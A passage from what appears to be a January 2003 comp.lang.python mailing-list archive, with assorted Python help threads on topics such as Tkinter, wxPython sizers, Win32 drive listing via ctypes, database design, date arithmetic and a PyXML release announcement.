         vars().update(_presets) # hidden part of locals setup
         do_stuff()

[1] If you actually try this, you will run into the difference between
locals created as such in collecting assigned-to variables in the function
body, vs bindings that can be created dynamically beyond those, as with
the update. E.g., if you pass vars() to do_stuff(), the latter will see
all the bindings, but if you try to access a local variable that hasn't
been assigned, you'll get an undefined global (unless there happens to
be a global with that name of course). I.e., the two kinds of bindings
don't work that great together, ISTM. But that's another discussion.

But the functionality is close enough to suggest passing a dict somehow
to def as an initializer. And the _presets() trick above suggests an
alternate spelling for a dictionary literal, which might by default imply
an underlying implementation like a function local namespace (imagining
a fast implementation where its representation could be memcopied like
a C struct for purposes of initializing function locals before parameter
bindings are superimposed). Such a dictionary literal might be written like:

    _presets = {:
        z = some_expression
        z1 = some_other_expression
        # for consistency, should allow this too.
        def quux(bar):
            do_something()

(where there is no closing ':}' but instead '{:' introduces a suite, and the
dict value consists in the bindings created therein).


Then if you could pass a dict as an initializer to def, you could write, e.g.,

    def(_presets) foo(x, y=default):
         do_stuff()

Sort of like passing base classes, but a bit different ;-)


BTW, the other thing the above doesn't address is persistence of bindings
(analogous to C static variables containing pointers the still point
as before on the next call).

If there were something analogous to base classes and __metaclass__ for
functions, it might be interesting...

Regards,
Bengt Richter



From paul.rudin at ntlworld.com  Sat Jan 25 12:13:41 2003
From: paul.rudin at ntlworld.com (Paul Rudin)
Date: 25 Jan 2003 17:13:41 +0000
Subject: IDLE Python GUI
References: <3e32a1a6_4@corp.newsgroups.com>
Message-ID: <m3d6ml5f0a.fsf@localhost.localdomain>

"Norm" <norm at norm.com> writes:

> I'm really just getting started in Python with the goal of improving my
> Linux networking administration.
> 
> I'm learning / practicing with IDLE Python GUI.
> 
> Q.  What does the real Python community use for creating Python programs?
> 

I'm sure I count as part of "the real Python community" as I'm just
learning python myself, but for what it's worth I use emacs for
editing/running/debugging python code...



From ciouded0ne at aol.com  Sat Jan 18 14:59:00 2003
From: ciouded0ne at aol.com (CIouded 0ne)
Date: 18 Jan 2003 19:59:00 GMT
Subject: problem with the if statement and elif
References: <d232c5e.0301180908.53d912cf@posting.google.com>
Message-ID: <20030118145900.22327.00000078@mb-ca.aol.com>

no im not copying and pasting. i have tryed that before but now all i do is
just look at it and copy it down manually but here is an example that doesnt
work for me.


x = raw_input("Enter a number? ")
Enter a number? 0
if x == 0:
print "Hey good job"
elif x > 0:
print "Bad job"
else: 
print "Oh well"


then the code just stops and doesnt run or print anything at all? why is this 
this is basically straight from the tutorial i think but yea thats a sample and
it doesnt work ever ;(



From nospam at bigfoot.com  Thu Jan 16 10:52:13 2003
From: nospam at bigfoot.com (Gillou)
Date: Thu, 16 Jan 2003 16:52:13 +0100
Subject: [OT] help on ZOPE
References: <b06jbq$hd4$1@panco.nettuno.it>
Message-ID: <b06jl7$see$1@norfair.nerim.net>

"Michele Leoncelli" <michele.leoncelli at prometeia.it> a ?crit dans le message
de news: b06jbq$hd4$1 at panco.nettuno.it...
> hi all,
> i'm sorry for this OT message, i need help with ZOPE and i thought this
was
> the best newsgroup where i could find some info.
> I can't find a Zope Newsgroup or Mailinglist,does someone know where i can
> find help?
>
> thank you in advance
> Michele
>
>

You can ask about Zope here.
Anyway, the Zope mailing list is a better place (certainly better answers
too)
Browse from www.zope.org to subscribe.

--Gilles






From ilkhanikeDIESPAM at yahoo.ca  Mon Jan 20 18:02:44 2003
From: ilkhanikeDIESPAM at yahoo.ca (Ben Sisson)
Date: Mon, 20 Jan 2003 23:02:44 GMT
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th> <9kstf-b1m.ln1@elstinko.registrado.network.es>
Message-ID: <4s0p2votbhgtn2kqg9ufp95nkdffciucc2@4ax.com>

>From the shadows, the mysterious Sinister Midget <xunil at kc-rr.com> (if
that IS his real name) conspiratorially whispered:

>On Mon, 20 Jan 2003 19:11:40 +0700, wichelman at hotmail.com drooled and scribbled:
>
>
>
>
>
>And good ones, too!

Maybe he was referring to his favorite newsgroups. This is quite a
collection he crossposted... nothing... to.


-- 

Ben Sisson

"'Peace' as you call it, is an illusion.
 If you have 'Peace', you simply haven't yet
 seen the thing that's trying to kill you."

-The Spathi, Star Control 2



From hwlgw at hotmail.com  Wed Jan 15 18:22:35 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 15 Jan 2003 15:22:35 -0800
Subject: Install Python in C:\usr\bin
References: <cb035744.0301151013.4f5c0327@posting.google.com>
Message-ID: <cb035744.0301151522.397e592e@posting.google.com>

I forgot to mention an important reason why I put this HOWTO here on
c.l.p.  It is because I am sure the HOWTO can be improved a lot upon,
and c.l.p. has the people who can.  Maybe put it on a wiki if you
think it is good enough for a start?
Also I forgot to mention you have to make your cgi script executable
(chmod o+x file.cgi).  But those things are usually described well in
books about python programming.  And you do not have to rename .py to
.cgi, depending on your ISP's CGI setup.

Oh well, off to bed.



From dragonscraft at yahoo.it  Wed Jan  8 15:00:43 2003
From: dragonscraft at yahoo.it (Stan)
Date: 8 Jan 2003 12:00:43 -0800
Subject: Numeric array and for loops problem
References: <c5598079.0301060856.4012672b@posting.google.com> <mailman.1041974544.31208.python-list@python.org>
Message-ID: <c5598079.0301081200.6ff916a@posting.google.com>

Thanks's for the replies, I'll keep in mind to check values types.
I'd like to know something more about the technique that Chad exposed
(something like load in memory only some parts of a big array),i saw a
module named arrayfrombuffer wich sould permit to read and write array
directly from files without loading them into memory, but it seems
quite slow. Could someone suggest me some examples ,readings or links!
It would be great! Thanks agian



From Mongryong at sympatico.ca  Tue Jan 21 21:43:45 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 21 Jan 2003 21:43:45 -0500
Subject: Database newbie - Sound Software Engineering practice for DB
In-Reply-To: <1043194785.11809.85.camel@mathcore2>
References: <1043194785.11809.85.camel@mathcore2>
Message-ID: <1043203426.14047.133.camel@refugeeMedia>

You should learn how to design good DBs by hand first if you haven't
done so already.  The two main concepts you'll want to learn about is
'normalization' and 'denormalization'. You should become familiar with
terms like 'primary' and 'foreign' keys.

Once you have a good handle on designing DBs by hand, it should be easy
to translate your design into SQL statements.

Now, it's just a matter of learning the API and applying good
programming design patterns.  The latter part is a huge subject on its
own.  A concept you might want to learn about is 'connection pooling'.

Most of this information, if not all, should be on the web.  Or, you can
do what I did and pick a book on MySQL.  Most books should cover DB
design (by hand), SQL, APIs, and design approaches.  

Good luck!

On Tue, 2003-01-21 at 19:19, Otto Tronarp wrote:
> Hi,
> 
> I'm a complete database newbie, the little I know I learned the last
> couple of hours when browsing the web, and have a couple of questions on
> what sound software engineering practice is when it comes to using
> databases.
> 
> Say that I want to make an app that calculates some statistics of soccer
> matches in several different leagues. So I have the following SQL table:
> CREATE TABLE matches (date DATE,
>                       home_team VARCHAR(20), 
>                       away_team VARCHAR(20), 
>                       home_score INT, 
>                       away_score INT, 
>                       league_id VARCHAR(5));
> 
> (BTW: Is it smart to have have all the matches from all leagues in the
> same table or should I have one matches table per league?)
> 
> So if I want all the matches where arsenal plays at home I could do
> (with MySQLdb) something like this (untested code):
> 
> con = MySQLdb.connect()
> cur = con.cursor()
> cur.execute("""USE soccer""")
> cur.execute("""SELECT * FROM matches WHERE home_team="Arsenal" """)
> result = cur.fetchall()
> 
> But it doesn't look to good with all those "raw" SQL statements
> cluttered everywhere in the code, if I change the structure of the table
> I might need to change the code in a lot of places. So, I thought it was
> a good idea to hide it in a class, maybe something like this.
> 
> class LeagueDB:
>     def __init__ (self, con, dbname):
>         self.con = con
>         self.dbname = dbname
>     def _newCursor(self):
>         cur = self.con.cursor()
>         #with MySQLdb I could use db.select_db but this
>         #doesn't look like a part of the DB2 API so....
>         cur.execute("""USE %s""" % self.dbname)
>         return cur
> 
>     def getHomeMatches(self, team):
>         cur = self._newCursor()
>         cur.execute("""SELECT * from matches WHERE home_team="%s" """,
> team)
> 	return cur
> 
> 
> But often I want different constraints on the query, like only matches
> before a specific date or in a specific time period, etc. I could do a
> getHomeMatchesBeforeDate(self, team, date),
> getHomeMatchesForTimePeriod(self, team, start_date, end_date) but it is
> pretty clumsy so I want something like getHomeMatches(self, team,
> constraints), any ideas how I could implement that in a smooth way? Or
> am I completely off track and should use raw SQL queries all the time?
> Or is there another way?
> 
> Further, returning the cursor and operate on the rows directly exposes
> how the table is structured so I thought something like this would be
> appropriate  
> 
> class LeagueDBResult:
>     def __init__(self, cur):
>         self.cur = cur
>     
>     def __iter__(self):
>         return self
>    
>     def next(self):
>         row = cur.fetchone()
>         if not row:
>             #maybe close cursor?
>             raise StopIteration
>             m = Match(row) #Constructs a match object from a row
>         return m
> 
> and change the return in getHomeMatches to return LeagueDBResult(cur).
> 
> Am I on track here and this is "The Right Thing" to do or should I go
> back to the drawing board?
> 
> Does anyone have any suggestion on a smal app that uses databases in The
> Right Way that I could study and learn from? Or any other pointers
> suggestions?
> 
> 
> Regards,
> Otto
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list






From db3l at fitlinxx.com  Mon Jan 13 11:56:51 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 13 Jan 2003 11:56:51 -0500
Subject: size of wxNotebook
References: <slrnb21t3q.dfb.jp@darkwood.somewhere>
Message-ID: <uznq5j8do.fsf@fitlinxx.com>

Jacek Pop?awski <jp at no.more.hosts> writes:

> PS. What is wrong with self.NotebookSizer.SetMinSize(wxSize(300,200))? Why it
> extends 300x200?

That's a "hint" to the control as to what it should declare its
minimum size to be (supplied to parent controls who may try to resize
it), but it won't necessarily stop it from taking on larger sizes (nor
probably even smaller sizes in some cases) if appropriate based on the
environment into which you insert the control.

You mention using several sizers, but don't specifically enumerate
what types (horizontal/vertical) they are nor how they are nested.
Also you don't mention which of them you are allowing to expand (in
either the primary or secondary directions) which is crucial in
understanding how they might resize the windows they enclose.  By
using sizers you are explicitly instructing the system to resize
windows according to those sizers - while they will try to obey
minimum size hints for their child windows, they may also expand the
child windows if they have enough space to do so.

A wxFrame is designed to have a single child, and it will
automatically resize that single child to be the full size of the
enclosing frame.  So if you've made one of your sizers the single
child of the frame, and allowed expansion of the sizers, then the
natural course of events would be to resize all the enclosed windows
(based on the sizer ratios) until the entire frame was full.
        
If you post some of your actual code creating your frame class, along
with a little more detail about what you are trying to achieve, we
could probably make some more detailed suggestions.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From theller at python.net  Thu Jan  2 14:34:15 2003
From: theller at python.net (Thomas Heller)
Date: 02 Jan 2003 20:34:15 +0100
Subject: Win32 Drive List Redux
References: <ert1va.ruj2.ln@boundary.tundraware.com>
Message-ID: <lm23mjm0.fsf@python.net>

Tim Daneliuk <tundra at tundraware.com> writes:

> Some time ago, there was a brief thread on how to get a list of
> available drives on Win32.  Peter Hansen suggested the use of:
> 
> win32api.GetLogicalDriveStrings()
> 
> 
> And Ken Seehof suggested:
> 
> def drives():
>      d = []
>      for c in string.lowercase:
>          if os.path.exists('%s:/'%c):
>              d.append('%s:'%c)
>      return d
> 
> 
> In my application, the first solution is not practical because I cannot
> gurantee the user will have win32api (win32all) installed.

ctypes may be small enough so that you can redistribute it
with your app. With ctypes you would write:

----
from ctypes import windll, c_string

size = windll.kernel32.GetLogicalDriveStringsA(0, None)
s = c_string('\000' * size)
size = windll.kernel32.GetLogicalDriveStringsA(len(s), s)
print s.raw[:size]
----

Available at http://starship.python.net/crew/theller/ctypes.html

Thomas



From bokr at oz.net  Thu Jan  9 21:36:27 2003
From: bokr at oz.net (Bengt Richter)
Date: 10 Jan 2003 02:36:27 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <yyy1y3m4c6d.fsf@adams.patriot.net> <RSjT9.38030$1c.26589@nwrddc01.gnilink.net> <yyyk7he2j81.fsf@adams.patriot.net> <bOnT9.36338$xb.1845@nwrddc02.gnilink.net>
Message-ID: <avlbjb$sjn$0@216.39.172.122>

On Thu, 09 Jan 2003 23:43:03 GMT, Carl Banks <imbosol at vt.edu> wrote:

>Nick Vargish wrote:
>> Carl Banks <imbosol at vt.edu> writes:
>> 
>>> I hope everyone else realizes he (Afanasiy) was being ironic.  
>> 
>> I believe your irony detector is yielding false positives.
>
>I believe your irony detector is broken.
>
>He perceived (wrongly, it appears) an arrogant attitude from Dalke,
>who was trying to point out problems with Afanasiy's code, and it's
>very obvious his statement, "My code is perfect," was in mockery of
>the attitude he perceived.  It was not hubris.
>
OTOH, it might have been neither. It could have been short for,

[Please assume for the sake of argument that] my code is perfect [ because
whatever flaws it may have are irrelevant to the question I'm trying to pose].

I don't know where the OP is from, but it could be that there, making a blunt
statement as if of fact merely proposes that it be taken as a given without
further encumbering the discussion about it. If people take the signal that
way, it can work in English too. The thing is, depending on locale-sensitive
conventions of dialog is risky on the internet, so smileys and <meta signals>
can help avoid misinterpretations. And explicit is less likely to be misunderstood. 

>As for whether programmers are metaphorical, I'll say only this:
>abstract is not the same as figurative.

IME programmers are varied ;-)

Regards,
Bengt Richter



From nav at adams.patriot.net  Sun Jan 19 20:01:14 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 19 Jan 2003 20:01:14 -0500
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <7xznpzv93c.fsf@ruckus.brouhaha.com> <wDZV9.138$bs2.110@news2.central.cox.net> <eLiW9.2041$m47.10510@news-server.bigpond.net.au> <b0dsmm$st8$0@216.39.172.122>
Message-ID: <yyyr8b8r5wl.fsf@adams.patriot.net>

bokr at oz.net (Bengt Richter) writes:

>  >>> def commafy(val): return val<1000 and str(val) or \
>                               commafy(val/1000)+','+commafy(val%1000)
>  ...

If the re solution means Perl envy, is this Lisp envy? :^) I like this
the best so far, I think it's what I'll borrow, if Bengt doesn't
mind. 

"I am but an egg,"

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')



From martin at v.loewis.de  Wed Jan 15 17:02:55 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 15 Jan 2003 23:02:55 +0100
Subject: buffer overflow
References: <splb2vkt2lqspqjea5566dldil2t5s3v7m@4ax.com>
Message-ID: <m3u1gaax68.fsf@mira.informatik.hu-berlin.de>

donoli <eat at joes.com> writes:

> I have two machines, FreeBSD 4,2  and  W2K pro.  I'd like to test the
> security on both of them against a buffer overflow.  If someone has
> the code in python for a buffer overflow, please post it.
> donoli.

Python does not support buffer overflows, sorry.

Regards,
Martin



From programisci_listy at muratorDOTcom.pl  Wed Jan  8 07:35:18 2003
From: programisci_listy at muratorDOTcom.pl (Yar3k)
Date: Wed, 08 Jan 2003 13:35:18 +0100
Subject: Remote access to ssh server
Message-ID: <ti6o1v8t7nm8c4rp2lgb8hak5c9mqfv7ll@4ax.com>

Is there any possibility for Python script to remote connection with
ssh server? I want to connect to remote server, execute some commands
and logout. All should be done automaticly (like using ftp client
which is the part of standard Python library).

--
yar3k



From tim.one at comcast.net  Fri Jan 24 11:53:22 2003
From: tim.one at comcast.net (Tim Peters)
Date: Fri, 24 Jan 2003 11:53:22 -0500
Subject: The "beaty" of date arithmetic
In-Reply-To: <6e990e29.0301232253.6298903@posting.google.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHKECLEKAA.tim.one@comcast.net>

[Hans-Joachim Widmaier]
> I've considered using mxDateTime, but from looking at the docs, I
> haven't found anything that seemed to make it much easier. The
> problems start as soon as you're going from fixed units like hour, day
> to somewhat fuzzier like month.

Note that 2.3's datetime doesn't support fuzzy cases directly:  a timedelta
can only be given "crisp" units, like microseconds, seconds, minutes, hours,
days and weeks.  If you want "a month", you have to figure out for yourself
you want it to mean.

> What date is "T - 1 month - 1 day"?  What date is "2000-02-29 + 1 year"?
> Date arithmetic *is* complex.

Fuzzy date arithmetic is complicated, and so is datetime arithmetic
involving time zones.  For example, if you add "a day" to some datetime in
the day before a daylight saving time transition, "should" the hour member
of the result be the same, or off by one to reflect 24 real-life hours
difference?

It's actually easy to supply answers to all such puzzles, but they're more
arbitrary than compelling, and one size doesn't fit anyone.

> ...
> I already compiled 2.3a1 but didn't install it as it didn't pass the
> tests.

Which OS, which tests, etc -- if problems aren't reported, they won't get
fixed.  That's pretty much the point of an alpha release <wink>.





From gumuz at looze.net  Wed Jan 22 08:15:01 2003
From: gumuz at looze.net (Gumuz)
Date: Wed, 22 Jan 2003 14:15:01 +0100
Subject: Free Hosting for Open Source projects
References: <3e2e9430$0$807$4d4ebb8e@news.nl.uu.net>
Message-ID: <3e2e99b7$0$809$4d4ebb8e@news.nl.uu.net>

by the way:

this is *NOT* some crappy server running at home over ISDN or something like
that.

it's a nice dedicated server with a 2 megabit connection where we have total
control over. if some service is not available (i doubt it) it's always
possible to add it.

it's not meant to be superior to sf.net or anything it's just something we
would like to do and are capable of doing.




"Gumuz" <gumuz at looze.net> wrote in message
news:3e2e9430$0$807$4d4ebb8e at news.nl.uu.net...
> Hi all,
>
> In order to give something back to the ever so helpfull Open source
> (python!) community I'd like to offer free (virtually unlimited) webspace
to
> 1 or 2 open source projects. As I am a fan of Python and the Python
> community I am asking you all first. It is our (friend & me) own server
and
> we can provide shell access, webspace, ftp, email, cvs, cgi , forums,
> mailinglists.... the whole shebang and then some.
>
> so, there's no catch or anything, it's just charity :)
>
> so, just email me gumuz_AT_looze.net and we will see.
>
> Guyon
>
> ps. _AT_ == @
>
>





From stephen.boulet at motorola.com  Tue Jan 21 16:03:24 2003
From: stephen.boulet at motorola.com (Stephen Boulet)
Date: Tue, 21 Jan 2003 15:03:24 -0600
Subject: Passing keywords to methods in tkinter
References: <3E2D9FA0.5020309@motorola.com>
Message-ID: <3E2DB59C.1030404@motorola.com>

Laura helped me with this one. The solution was to pass in the dictionary with 
its name preceded by two asterisks:

from Tkinter import *

class MyButton(Button):
	def __init__(self,parent,**kw):
		self.txt=kw['text']
		kw['command']=self.getValue
		apply(Button.__init__, (self,parent),kw)
		
	def getValue(self):
		print self.txt

class App:
	def __init__(self,parent):
		for i in range(1,4):
			buttonDict = {'text':i, 'fg':'red'}
			################## here ##########################
			MyButton(parent,**buttonDict).grid(row=1,column=i-1)

if __name__=='__main__':
	root=Tk()
	app	=App(root)
	root.mainloop()


Stephen Boulet wrote:
> I'm having trouble passing arbitrary keywords to tkinter classes.
> 
> When I call the class MyButton's init method from the App class, I get 
> the error that the init method takes exactly 3 arguments, but 4 are 
> provided.
> 
> Thanks for any help.
> 
> -- Stephen
> 
> 
> ########################################################
> from Tkinter import *
> 
> class MyButton(Button):
>     def __init__(self,parent,data,**kw):
>         self.txt=data
>         apply(Button.__init__, (self,parent),kw)
>        
>     def getValue(self):
>         print self.txt
> 
> class App:
>     def __init__(self,parent):
>         buttonDict = {'text':'some text', 'fg':'red'}
> 
>         # problem is here
>         MyButton(parent,'1',buttonDict).grid(row=1,column=0)
>         MyButton(parent,'2',buttonDict).grid(row=1,column=1)
>         MyButton(parent,'3',buttonDict).grid(row=1,column=2)
> 
> if __name__=='__main__':
>     root=Tk()
>     app=App(root)
>     root.mainloop()
> 





From martin at v.loewis.de  Sun Jan 26 05:29:45 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 26 Jan 2003 11:29:45 +0100
Subject: PyXML 0.8.2 is released
Message-ID: <m365scmcfa.fsf@mira.informatik.hu-berlin.de>

Version 0.8.2 of the Python/XML distribution is now available.  It
should be considered a beta release, and can be downloaded from
the following URLs:

http://prdownloads.sourceforge.net/pyxml/PyXML-0.8.2.tar.gz
http://prdownloads.sourceforge.net/pyxml/PyXML-0.8.2.win32-py2.2.exe
http://prdownloads.sourceforge.net/pyxml/PyXML-0.8.2-2.2.Suse81.i386.rpm


Changes in this version, compared to 0.8.1:

    * Updated to Expat 1.95.6.

    * Support more DOM L3 features in minidom: 
      isWhitespaceInElementContent, schemaType, isId, 
      DOMImplementationSource

    * Various bug fixes, including
      - 609641: minidom nodes not pickleable
      - 618156: Use character references in XMLGenerator if necessary
      - 622286: marshal.wddx: 'recordset' element typo
      - 624420: Can't create 2nd Sax2.Reader
      - 665486: Implement SAX skippedEntity for Expat

The Python/XML distribution contains the basic tools required for
processing XML data using the Python programming language, assembled
into one easy-to-install package.  The distribution includes parsers
and standard interfaces such as SAX and DOM, along with various other
useful modules.

The package currently contains:

        * XML parsers: Pyexpat (Jack Jansen), xmlproc (Lars Marius
          Garshol), sgmlop (Fredrik Lundh).
        * SAX interface (Lars Marius Garshol)
        * minidom DOM implementation (Paul Prescod, others)
        * 4DOM and 4XPath from Fourthought (Uche Ogbuji, Mike Olson)
        * Schema implementations: TREX (James Tauber)
        * Various utility modules and functions (various people)
        * Documentation and example programs (various people)

The code is being developed bazaar-style by contributors from the
Python XML Special Interest Group, so please send comments and
questions to <xml-sig at python.org>.  Bug reports may be filed on
SourceForge:

http://sourceforge.net/tracker/index.php?group_id=6473&atid=106473

For more information about Python and XML, see:
        http://www.python.org/topics/xml/

-- 
Martin v. L?wis               http://www.informatik.hu-berlin.de/~loewis



From pyth at devel.trillke.net  Tue Jan 21 21:31:29 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Wed, 22 Jan 2003 03:31:29 +0100
Subject: Python use growing or shrinking
In-Reply-To: <v2rhpd4d6p8f79@corp.supernews.com>; from gbrunet@nospamsempersoft.com.trillke.net on Tue, Jan 21, 2003 at 04:18:15PM -0600
References: <v2rhpd4d6p8f79@corp.supernews.com>
Message-ID: <20030122033129.K2724@prim.han.de>

Greg Brunet wrote:
> Just as a point of information, I was reading this article about Java
> and the recent ruling that MS must include it in Windows & .NET
> (http://www.salon.com/tech/feature/2003/01/21/java/print.html). It
> had a link to this site (http://www.tiobe.com/tpci.htm) which ranks
> Python as a "B" status language with declining popularity.
> 
> There's only a general discussion of their methodology, and I'm not
> arguing that one should choose a language solely because of it's
> popularity or rate of increase/decrease (and what's up with RPG having
> the second fastest growth rate!?!).  Still, it's it provides another
> viewpoint on 'the language wars'.

Question is: is it a weapon or a view on language wars? 

I know a lot of programmers who are currently getting 
into python.  Python usage certainly isn't decreasing in 
my world.  I certainly don't take random job offers, 
advertisements or randomg google searches as a significant 
indicator especially for free software developments.  

But free softare actually *drives* the web and email networks 
which .Net & Java types are constantly *hyping* about.
For a more serious source regarding my last statement 
look e.g. at:

    http://www.netcraft.com/survey

regards,

    holger




From ljlmtlvt at earthlink.net  Fri Jan 24 13:46:18 2003
From: ljlmtlvt at earthlink.net (LJ & MT Lareau)
Date: Fri, 24 Jan 2003 18:46:18 GMT
Subject: Illegal literal or not?
Message-ID: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net>

Is it possible to have Python produce the following literal output in the
interactive mode.
'"Let's try this!", they said.'
If so what is the Python statement. I've tried several ways
and can't seem to produce it.  Thanks for the help.






From covino at merate.mi.astro.it  Thu Jan 16 09:13:13 2003
From: covino at merate.mi.astro.it (Stefano Covino)
Date: Thu, 16 Jan 2003 15:13:13 +0100
Subject: Socket communications
References: <b06df6$ls2ug$1@ID-145579.news.dfncis.de> <uded2vogmj50s1bgpl54qc9c6nifrostpg@4ax.com>
Message-ID: <b06eo8$m0u70$1@ID-145579.news.dfncis.de>

Thank you a lot for you ready answer.

Basically, what I want to implement is a very simple protocol. I need to 
send fixed-length messages, and getting and answer again of fixed-length. 
The communication should be effective on both side.

I do not know which protocol I should apply. This is the first time I try 
study this problem and I am still lacking of even the vocabulary.
In principle a telnet (or ssh) like protocol should work, but I need an as 
quick as possible connection. The messages are coming from previously 
defines IP addresses, and I do not need to recognize the user.

        Stefano
  



From vanevery at 3DProgrammer.com  Thu Jan 30 03:52:41 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Thu, 30 Jan 2003 08:52:41 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net> <UgOZ9.314$XU5.188@news-binary.blueyonder.co.uk> <4V1_9.3850$wd2.304935@newsread2.prod.itd.earthlink.net> <vF2_9.1077$7S2.519@news-binary.blueyonder.co.uk>
Message-ID: <tJ5_9.4299$wd2.324183@newsread2.prod.itd.earthlink.net>

John Ochiltree wrote:
>
> Why do you bother to use c++ as you obviously don't care about reuse.
> Patterns these days are essential to OO

You need to realize that there can be OO and reuse without the "Patterns"
appearing in books like "Design Patterns."  That book has absolutely nothing
of use to me on a day-to-day basis.

If you want to say that I use "mathematical patterns," fine.  But I choose
to avoid the term "pattern" because it already has a common meaning to OO
people.  And personally, I don't think there would be much point listing out
a whole pile of common "mathematical patterns."  There are so many of them!
Math has an interesting property: there are lotsa ways to compute the same
thing.  No point wrapping it up in the One True Pattern, you just have to
know how to do math.

Quite simply, we had functions and methods and classes and OO long before we
had patterns.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.






From p-abel at t-online.de  Thu Jan 30 16:13:00 2003
From: p-abel at t-online.de (Peter Abel)
Date: 30 Jan 2003 13:13:00 -0800
Subject: pythonwin namespace
References: <mailman.1043928541.8302.python-list@python.org>
Message-ID: <13a533e8.0301301313.6bcf902b@posting.google.com>

Mantovani Alberto <Alberto.Mantovani at bologna.marelli.it> wrote in message news:<mailman.1043928541.8302.python-list at python.org>...
> Hi,
> working with Pythonwin I've noted that if you launch a script a first time
> and then you modify and relaunch it, the script that goes in execution is
> always the first one that you launch. To execute the modify script you have
> to exit and to enter   from pythonwin. This could be annoying, so my
> question is:
>
 
Remarked the same.

> 1) Is there some method or some script to avoid this? 
> I have found the manner to delete the module if it is imported with <import>
> but not if it is imported with <from xxx import yyy>.
> 

Sometimes, if I remember well, it helped to delete the .pyc file.
So it seemed that Pythonwin would be regarding time difference
between .py and .pyc counted in minutes. And when you're
developping to fast <wink> there wouldn't be any.
But I'm not sure if that is the real reason.

> 2) Is it possible to run automatically a my python script when I launch the
> pythonwin?
> If this was possible I could, at the start, to save all module imported in
> pythonwin (<modules.key()>) and when I want to clear the namespace to delete
> the new module imported
> 

Would be nice.

> 3) Is it possible also to clear the screen of interpr. by some commands?
> best regards

Go to top of interpreter by Cntrl-Pos1
 - Mark all by Cntrl-A
 - Del
 - enjoy.

Peter

> 
> Mantovani Alberto



From abelikov72 at hotmail.com  Thu Jan  9 04:01:27 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Thu, 09 Jan 2003 09:01:27 GMT
Subject: Do pythons like sugar?
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
Message-ID: <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com>

On Thu, 09 Jan 2003 06:52:47 GMT, Afanasiy wrote:

>I've written this method for a text formatting class...
>But it's ugly as sin. With all those self's I consider
>it much less readable than it could be...
>
>A few languages provide syntax sugar for dealing with
>this by allowing you to localize the class scope.
>
>Does Python? eg. `with self do:`
>
>  def format( self, width=80 ):    
>    self.lines = ['']
>    i = 0
>    for word in self.text.split():  
>      if self.textwidth(self.lines[i]) + self.textwidth(word) <= width:
>        if self.textwidth(self.lines[i]) > 0:
>          self.lines[i] += ' '
>        self.lines[i] += word
>      else:
>        i += 1
>        self.lines.append(word)

So the answer is a definitive no? I want to do things as I have them,
I don't want to change my design just to be able to type 'self' less.

Is there any tricky one-liner that brings object members in scope?

P.S. The specific implementation above should be considered irrelevant.



From just at xs4all.nl  Thu Jan  2 14:17:34 2003
From: just at xs4all.nl (Just)
Date: Thu, 02 Jan 2003 20:17:34 +0100
Subject: 2.3a1: importhooks oddity
References: <ySNQ9.8812$9N5.914447@newsread2.prod.itd.earthlink.net> <just-60C271.18474702012003@news1.news.xs4all.nl> <3E148DD6.5040003@earthlink.net>
Message-ID: <just-943E0F.20173402012003@news1.news.xs4all.nl>

In article <3E148DD6.5040003 at earthlink.net>,
 Hans Nowak <wurmy at earthlink.net> wrote:

> Just wrote:
> 
> > You may have to do sys.path_importer_cache.clear() to make sure no 
> > handler is registered for the path (this is most likely a None value, 
> > signalling it should use the builtin mechanism). Check PEP 302 for the 
> > details. You should then get a "Wahey!" for each member of sys.path (and 
> > as a bonus no file system import will work after you installed your hook 
> > ;-)
> 
> Yes, this works... a whole slew of Wahey's. :-)  So it's not a bug, but this 
> behavior is still a bit confusing, at least on Windows (as opposed to other 
> platforms where it seems to work as expected). Is this the desired behavior? 

Can you provide more details? Your original example showed that on 
cygwin there was a fresh sys.path item (perhaps added by site.py or 
after site.py was run) not yet "touched" by an import, and on Windows 
there wasn't. You could compare sys.path with and without the -S ("no 
site.py") option.

> If I understand correctly, then registering any function or class in
> path_hooks is useless on Windows for path "", since it will be bypassed.

Not sure what you mean. I'd think you could still register a hook for "" 
and make it do "something".

Just



From daniel at dittmar.net  Sun Jan 19 05:09:39 2003
From: daniel at dittmar.net (Daniel Dittmar)
Date: Sun, 19 Jan 2003 11:09:39 +0100
Subject: Coding standard: Prefixing variables to indicate datatype
In-Reply-To: <Ch-cnefV7v6Nl7ejXTWcpw@comcast.com>
